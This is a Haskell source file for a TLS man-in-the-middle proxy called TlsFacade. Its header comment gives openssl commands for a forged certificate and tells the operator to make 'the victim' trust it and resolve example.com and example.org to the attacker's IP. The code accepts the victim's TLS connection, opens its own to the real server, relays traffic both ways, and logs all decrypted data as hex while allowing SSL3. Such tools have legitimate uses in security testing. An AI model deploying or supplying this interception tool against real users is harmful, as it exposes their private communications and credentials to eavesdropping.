{-# LANGUAGE ScopedTypeVariables, DeriveDataTypeable #-}
{-

Before you start:

    openssl genrsa -out facade.key 1024
    openssl req -new -nodes -key facade.key -out facade.csr \
        -days 365 -subj "/CN=example.com/CN=example.org"
    openssl x509 -req -in facade.csr -signkey facade.key -out facade.crt -outform der \
        -days 365
    openssl pkey -in facade.key -inform pem -out facade.derkey -outform der

And then:

* Ensure the victim trusts `facade.crt`.
* Ensure the victim resolves `example.com` and `example.org` to your IP.

And then:

    runghc TlsFacade facade.crt facade.derkey 443 1.2.3.4 443

-}
module TlsFacade where

import Prelude hiding (catch)
import System.IO.Error (isEOFError)
import Control.Exception
import Data.Typeable

import Data.Word
import Numeric
import qualified Data.Text as TS
import qualified Data.Text.Encoding as TSE
import Control.Monad
import Crypto.Random (CryptoRandomGen (..), SystemRandom)
import Network
import qualified Network.TLS as TLS
import Network.TLS.Extra (ciphersuite_all )
import System.Environment
import qualified Data.ByteString.Lazy as BL
import qualified Data.ByteString as BS
import System.IO
import Data.ASN1.DER (decodeASN1Stream)
import Data.Certificate.X509 (decodeCertificate)
import Data.Certificate.KeyRSA (decodePrivate)
import Control.Concurrent
import Control.Concurrent.Chan
import Control.Concurrent.MVar

showAsHex :: BS.ByteString -> BS.ByteString
showAsHex = TSE.encodeUtf8 . TS.pack . concat . map showF8 . BS.unpack
  where
    showF8 :: Word8 -> String
    showF8 w | w < 0x10 = "0" ++ showHex w ""
             | otherwise = showHex w ""

doit raddr cert key port rport = do
    pin_cert <- withBinaryFile cert ReadMode $ \h -> do
        s <- BL.hGetContents h
        case decodeCertificate s of
            Left _ -> error "bad cert"
            Right c -> return $! c
    pin_key <- withBinaryFile key ReadMode $ \h -> do
        s <- BL.hGetContents h
        case decodePrivate s of
            Left _ -> error "bad key"
            Right (_, c) -> return $! TLS.PrivRSA c
    print "ready"
    let params = TLS.defaultParams { TLS.pCiphers = ciphersuite_all
                                   , TLS.pCertificates = [(pin_cert, Just pin_key)]
                                   , TLS.pAllowedVersions = [TLS.SSL3, TLS.TLS10, TLS.TLS11, TLS.TLS12]
                                   }
    let rparams = TLS.defaultParams { TLS.pCiphers = ciphersuite_all
                                    , TLS.pAllowedVersions = [TLS.SSL3, TLS.TLS10, TLS.TLS11, TLS.TLS12]
                                    }
    sysrand <- (newGenIO :: IO SystemRandom)
    lissok <- listenOn (Service port)
    loop lissok params rparams sysrand raddr rport
  where
    loop sock params rparams sysrand raddr rport = do
        (pin_hnd, _, _) <- accept sock
        forkIO (serve params rparams sysrand pin_hnd raddr rport
                    `catch` handler_tls `catch` handler_hsk
                    `finally` hClose pin_hnd)
        loop sock params rparams sysrand raddr rport

    handler_tls :: TLS.TLSError -> IO ()
    handler_tls e = putStrLn $ "-- ERROR: " ++ show e

    handler_hsk :: TLS.HandshakeFailed -> IO ()
    handler_hsk (TLS.HandshakeFailed e) = putStrLn $ "-- Handshake Failed: " ++ show e

data ReadResult = PeerDisconnected | PeerSent BS.ByteString deriving Show
data Interrupt = SendThis BS.ByteString | DisconnectNow deriving (Typeable, Show)
instance Exception Interrupt

serve params rparams sysrand pin_hnd raddr rport = do
    raw_ctx_pin <- TLS.server params sysrand pin_hnd
    alice_died <- newEmptyMVar
    bob_died <- newEmptyMVar

    port_hnd <- connectTo raddr (Service rport)
    raw_ctx_port <- TLS.client rparams sysrand port_hnd
    TLS.handshake raw_ctx_port
    putStrLn $ "* " ++ "Bob" ++ " connected."

    TLS.handshake raw_ctx_pin
    putStrLn $ "* " ++ "Alice" ++ " connected."

    ctx_pin <- newMVar raw_ctx_pin
    ctx_port <- newMVar raw_ctx_port
    read_pin <- newChan
    read_port <- newChan

    forkIO (readThread pin_hnd ctx_pin read_pin alice_died)
    forkIO (readThread port_hnd ctx_port read_port bob_died)
    forkIO (writeThread ctx_port read_pin "Alice")
    forkIO (writeThread ctx_pin read_port "Bob")

    readMVar alice_died
    readMVar bob_died
    return ()
  where
    readThread h mctx chan flag = do
        loop mctx chan flag h
      where
        loop mctx chan flag h = do
            hWaitForInput h (0-1)  -- TODO Yikes! We must use closeFdWith now...
            withMVar mctx TLS.recvData >>= writeChan chan
            loop mctx chan flag h

    writeThread mctx chan name = do
        d <- readChan chan
        let d' = BL.fromChunks [d]
        putStrLn $ "<" ++ name ++ "> " ++ show (showAsHex d)
        withMVar mctx $ \ctx -> TLS.sendData ctx d'
        writeThread mctx chan name

showUsage = putStrLn "Usage: thisapp CERT KEY LPORT RADDR RPORT"
         >> putStrLn "    where RADDR is the actual TLS server's address,"
         >> putStrLn "          RPORT is the actual TLS server's port,"
         >> putStrLn "          CERT is the filename of the certificate to work with (DER),"
         >> putStrLn "          KEY is the filename of the private key to work with (DER), and"
         >> putStrLn "          LPORT is the port to listen on"

main = do
    args <- getArgs
    case args of
        [cert, key, lport, raddr, rport] -> withSocketsDo $ doit raddr cert key lport rport
        _ -> showUsage